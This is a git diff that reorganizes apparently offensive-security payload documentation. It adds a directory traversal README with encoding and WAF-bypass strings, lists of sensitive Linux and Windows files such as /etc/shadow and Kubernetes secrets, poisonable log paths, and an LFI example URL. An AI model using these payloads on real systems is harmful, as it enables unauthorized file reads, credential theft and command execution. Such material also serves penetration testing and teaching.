diff --git a/Traversal directory/Intruder/deep_traversal.txt b/Directory traversal/Intruder/deep_traversal.txt similarity index 100% rename from Traversal directory/Intruder/deep_traversal.txt rename to Directory traversal/Intruder/deep_traversal.txt diff --git a/Traversal directory/Intruder/directory_traversal.txt b/Directory traversal/Intruder/directory_traversal.txt similarity index 100% rename from Traversal directory/Intruder/directory_traversal.txt rename to Directory traversal/Intruder/directory_traversal.txt diff --git a/Traversal directory/Intruder/dotdotpwn.txt b/Directory traversal/Intruder/dotdotpwn.txt similarity index 100% rename from Traversal directory/Intruder/dotdotpwn.txt rename to Directory traversal/Intruder/dotdotpwn.txt diff --git a/Traversal directory/Intruder/traversals-8-deep-exotic-encoding.txt b/Directory traversal/Intruder/traversals-8-deep-exotic-encoding.txt similarity index 100% rename from Traversal directory/Intruder/traversals-8-deep-exotic-encoding.txt rename to Directory traversal/Intruder/traversals-8-deep-exotic-encoding.txt diff --git a/Directory traversal/README.md b/Directory traversal/README.md new file mode 100644 index 00000000..6e472a16 --- /dev/null +++ b/Directory traversal/README.md @@ -0,0 +1,129 @@ +# Directory traversal + +> A directory or path traversal consists in exploiting insufficient security validation / sanitization of user-supplied input file names, so that characters representing "traverse to parent directory" are passed through to the file APIs. + +## Summary + +* [Basic exploitation](#basic-exploitation) +* [Path Traversal](#path-traversal) + +## Basic exploitation + +We can use the `..` characters to access the parent directory, the following strings are several encoding that can help you bypass a poorly implemented filter. + +```powershell +../ +..\ +..\/ +%2e%2e%2f +%252e%252e%252f +%c0%ae%c0%ae%c0%af +%uff0e%uff0e%u2215 +%uff0e%uff0e%u2216 +``` + +16 bit Unicode encoding + +```powershell +. = %u002e +/ = %u2215 +\ = %u2216 +``` + +UTF-8 Unicode encoding + +```powershell +. = %c0%2e, %e0%40%ae, %c0ae +/ = %c0%af, %e0%80%af, %c0%2f +\ = %c0%5c, %c0%80%5c +``` + +Sometimes you encounter a WAF which remove the "../" characters from the strings, just duplicate them. + +```powershell +..././ +...\.\ +``` + +Double URL encoding + +```powershell +. = %252e +/ = %252f +\ = %255c +``` + + +## Path Traversal + +Linux - Interesting files to check out : + +```powershell +/etc/issue +/etc/passwd +/etc/shadow +/etc/group +/etc/hosts +/etc/motd +/etc/mysql/my.cnf +/proc/[0-9]*/fd/[0-9]* (first number is the PID, second is the filedescriptor) +/proc/self/environ +/proc/version +/proc/cmdline +/proc/sched_debug +/proc/mounts +/proc/net/arp +/proc/net/route +/proc/net/tcp +/proc/net/udp +``` + +Windows - Interesting files to check out (Extracted from https://github.com/soffensive/windowsblindread) + +```powershell +c:/boot.ini +c:/inetpub/logs/logfiles +c:/inetpub/wwwroot/global.asa +c:/inetpub/wwwroot/index.asp +c:/inetpub/wwwroot/web.config +c:/sysprep.inf +c:/sysprep.xml +c:/sysprep/sysprep.inf +c:/sysprep/sysprep.xml +c:/system32/inetsrv/metabase.xml +c:/sysprep.inf +c:/sysprep.xml +c:/sysprep/sysprep.inf +c:/sysprep/sysprep.xml +c:/system volume information/wpsettings.dat +c:/system32/inetsrv/metabase.xml +c:/unattend.txt +c:/unattend.xml +c:/unattended.txt +c:/unattended.xml +``` + +The following log files are controllable and can be included with an evil payload to achieve a command execution + +```powershell +/var/log/apache/access.log +/var/log/apache/error.log +/var/log/httpd/error_log +/usr/local/apache/log/error_log +/usr/local/apache2/log/error_log +/var/log/vsftpd.log +/var/log/sshd.log +/var/log/mail +``` + +Other easy win files. + +```powershell +/home/$USER/.bash_history +/var/run/secrets/kubernetes.io/serviceaccount +``` + + +## References + +* [Directory traversal attack - Wikipedia](https://en.wikipedia.org/wiki/Directory_traversal_attack) diff --git a/File Inclusion - Path Traversal/Intruders/BSD-files.txt b/File inclusion/Intruders/BSD-files.txt similarity index 100% rename from File Inclusion - Path Traversal/Intruders/BSD-files.txt rename to File inclusion/Intruders/BSD-files.txt diff --git a/File Inclusion - Path Traversal/Intruders/JHADDIX_LFI.txt b/File inclusion/Intruders/JHADDIX_LFI.txt similarity index 100% rename from File Inclusion - Path Traversal/Intruders/JHADDIX_LFI.txt rename to File inclusion/Intruders/JHADDIX_LFI.txt diff --git a/File Inclusion - Path Traversal/Intruders/LFI-FD-check.txt b/File inclusion/Intruders/LFI-FD-check.txt similarity index 100% rename from File Inclusion - Path Traversal/Intruders/LFI-FD-check.txt rename to File inclusion/Intruders/LFI-FD-check.txt diff --git a/File Inclusion - Path Traversal/Intruders/LFI-WindowsFileCheck.txt b/File inclusion/Intruders/LFI-WindowsFileCheck.txt similarity index 100% rename from File Inclusion - Path Traversal/Intruders/LFI-WindowsFileCheck.txt rename to File inclusion/Intruders/LFI-WindowsFileCheck.txt diff --git a/File Inclusion - Path Traversal/Intruders/Linux-files.txt b/File inclusion/Intruders/Linux-files.txt similarity index 100% rename from File Inclusion - Path Traversal/Intruders/Linux-files.txt rename to File inclusion/Intruders/Linux-files.txt diff --git a/File Inclusion - Path Traversal/Intruders/List_Of_File_To_Include.txt b/File inclusion/Intruders/List_Of_File_To_Include.txt similarity index 100% rename from File Inclusion - Path Traversal/Intruders/List_Of_File_To_Include.txt rename to File inclusion/Intruders/List_Of_File_To_Include.txt diff --git a/File Inclusion - Path Traversal/Intruders/List_Of_File_To_Include_NullByteAdded.txt b/File inclusion/Intruders/List_Of_File_To_Include_NullByteAdded.txt similarity index 100% rename from File Inclusion - Path Traversal/Intruders/List_Of_File_To_Include_NullByteAdded.txt rename to File inclusion/Intruders/List_Of_File_To_Include_NullByteAdded.txt diff --git a/File Inclusion - Path Traversal/Intruders/Logs-files.txt b/File inclusion/Intruders/Logs-files.txt similarity index 100% rename from File Inclusion - Path Traversal/Intruders/Logs-files.txt rename to File inclusion/Intruders/Logs-files.txt diff --git a/File Inclusion - Path Traversal/Intruders/Mac-files.txt b/File inclusion/Intruders/Mac-files.txt similarity index 100% rename from File Inclusion - Path Traversal/Intruders/Mac-files.txt rename to File inclusion/Intruders/Mac-files.txt diff --git a/File Inclusion - Path Traversal/Intruders/Traversal.txt b/File inclusion/Intruders/Traversal.txt old mode 100755 new mode 100644 similarity index 100% rename from File Inclusion - Path Traversal/Intruders/Traversal.txt rename to File inclusion/Intruders/Traversal.txt diff --git a/File Inclusion - Path Traversal/Intruders/Web-files.txt b/File inclusion/Intruders/Web-files.txt similarity index 100% rename from File Inclusion - Path Traversal/Intruders/Web-files.txt rename to File inclusion/Intruders/Web-files.txt diff --git a/File Inclusion - Path Traversal/Intruders/Windows-files.txt b/File inclusion/Intruders/Windows-files.txt similarity index 100% rename from File Inclusion - Path Traversal/Intruders/Windows-files.txt rename to File inclusion/Intruders/Windows-files.txt diff --git a/File Inclusion - Path Traversal/Intruders/dot-slash-PathTraversal_and_LFI_pairing.txt b/File inclusion/Intruders/dot-slash-PathTraversal_and_LFI_pairing.txt similarity index 100% rename from File Inclusion - Path Traversal/Intruders/dot-slash-PathTraversal_and_LFI_pairing.txt rename to File inclusion/Intruders/dot-slash-PathTraversal_and_LFI_pairing.txt diff --git a/File Inclusion - Path Traversal/Intruders/simple-check.txt b/File inclusion/Intruders/simple-check.txt similarity index 100% rename from File Inclusion - Path Traversal/Intruders/simple-check.txt rename to File inclusion/Intruders/simple-check.txt diff --git a/File Inclusion - Path Traversal/README.md b/File inclusion/README.md similarity index 86% rename from File Inclusion - Path Traversal/README.md rename to File inclusion/README.md index 9191db2c..c261b135 100644 --- a/File Inclusion - Path Traversal/README.md +++ b/File inclusion/README.md @@ -1,4 +1,4 @@ -# File Inclusion - Path Traversal +# File Inclusion The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application. @@ -6,7 +6,6 @@ The Path Traversal vulnerability allows an attacker to access a file, usually ex ## Summary -* [Path Traversal](#path-traversal) * [Basic LFI](#basic-lfi) * [Basic RFI](#basic-rfi) * [LFI / RFI using wrappers](#lfi--rfi-using-wrappers) @@ -24,78 +23,10 @@ The Path Traversal vulnerability allows an attacker to access a file, usually ex * [LFI to RCE via controlled log file](#lfi-to-rce-via-controlled-log-file) * [LFI to RCE via PHP sessions](#lfi-to-rce-via-php-sessions) - -## Path Traversal - -Linux - Interesting files to check out : - -```powershell -/etc/issue -/etc/passwd -/etc/shadow -/etc/group -/etc/hosts -/etc/motd -/etc/mysql/my.cnf -/proc/[0-9]*/fd/[0-9]* (first number is the PID, second is the filedescriptor) -/proc/self/environ -/proc/version -/proc/cmdline -/proc/sched_debug -/proc/mounts -/proc/net/arp -/proc/net/route -/proc/net/tcp -/proc/net/udp -``` - -Windows - Interesting files to check out (Extracted from https://github.com/soffensive/windowsblindread) - -```powershell -c:/boot.ini -c:/inetpub/logs/logfiles -c:/inetpub/wwwroot/global.asa -c:/inetpub/wwwroot/index.asp -c:/inetpub/wwwroot/web.config -c:/sysprep.inf -c:/sysprep.xml -c:/sysprep/sysprep.inf -c:/sysprep/sysprep.xml -c:/system32/inetsrv/metabase.xml -c:/sysprep.inf -c:/sysprep.xml -c:/sysprep/sysprep.inf -c:/sysprep/sysprep.xml -c:/system volume information/wpsettings.dat -c:/system32/inetsrv/metabase.xml -c:/unattend.txt -c:/unattend.xml -c:/unattended.txt -c:/unattended.xml -``` - -The following log files are controllable and can be included with an evil payload to achieve a command execution - -```powershell -/var/log/apache/access.log -/var/log/apache/error.log -/var/log/httpd/error_log -/usr/local/apache/log/error_log -/usr/local/apache2/log/error_log -/var/log/vsftpd.log -/var/log/sshd.log -/var/log/mail -``` - -Other easy win files. - -```powershell -/home/$USER/.bash_history -/var/run/secrets/kubernetes.io/serviceaccount -``` - ## Basic LFI +In the following examples we include the `/etc/passwd` file, check the `Directory & Path Traversal` chapter for more interesting files. + ```powershell http://example.com/index.php?page=../../../etc/passwd ``` diff --git a/File Inclusion - Path Traversal/phpinfolfi.py b/File inclusion/phpinfolfi.py old mode 100755 new mode 100644 similarity index 100% rename from File Inclusion - Path Traversal/phpinfolfi.py rename to File inclusion/phpinfolfi.py diff --git a/File Inclusion - Path Traversal/uploadlfi.py b/File inclusion/uploadlfi.py similarity index 100% rename from File Inclusion - Path Traversal/uploadlfi.py rename to File inclusion/uploadlfi.py diff --git a/JSON Web Token/README.md b/JSON Web Token/README.md index 89090e08..5bd75f67 100644 --- a/JSON Web Token/README.md +++ b/JSON Web Token/README.md @@ -2,6 +2,8 @@ > JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed. +## Summary + - JWT Format - JWT Signature - None algorithm - JWT Signature - RS256 to HS256 diff --git a/SQL injection/README.md b/SQL injection/README.md index 5d0a7bd4..136d7c2d 100644 --- a/SQL injection/README.md +++ b/SQL injection/README.md @@ -1,6 +1,12 @@ # SQL injection -A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. +> A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. + +Attempting to manipulate SQL queries may have goals including: +- Information Leakage +- Disclosure of stored data +- Manipulation of stored data +- Bypassing authorisation controls ## Summary diff --git a/Traversal directory/README.md b/Traversal directory/README.md deleted file mode 100644 index ac2d8567..00000000 --- a/Traversal directory/README.md +++ /dev/null @@ -1,48 +0,0 @@ -# Traversal Directory - -A directory traversal consists in exploiting insufficient security validation / sanitization of user-supplied input file names, so that characters representing "traverse to parent directory" are passed through to the file APIs. - -## Exploit - -Basic - -```powershell -../ -..\ -..\/ -%2e%2e%2f -%252e%252e%252f -%c0%ae%c0%ae%c0%af -%uff0e%uff0e%u2215 -%uff0e%uff0e%u2216 -..././ -...\.\ -``` - -16 bit Unicode encoding - -```powershell -. = %u002e -/ = %u2215 -\ = %u2216 -``` - -Double URL encoding - -```powershell -. = %252e -/ = %252f -\ = %255c -``` - -UTF-8 Unicode encoding - -```powershell -. = %c0%2e, %e0%40%ae, %c0ae -/ = %c0%af, %e0%80%af, %c0%2f -\ = %c0%5c, %c0%80%5c -``` - -## References - -* [Directory traversal attack - Wikipedia](https://en.wikipedia.org/wiki/Directory_traversal_attack)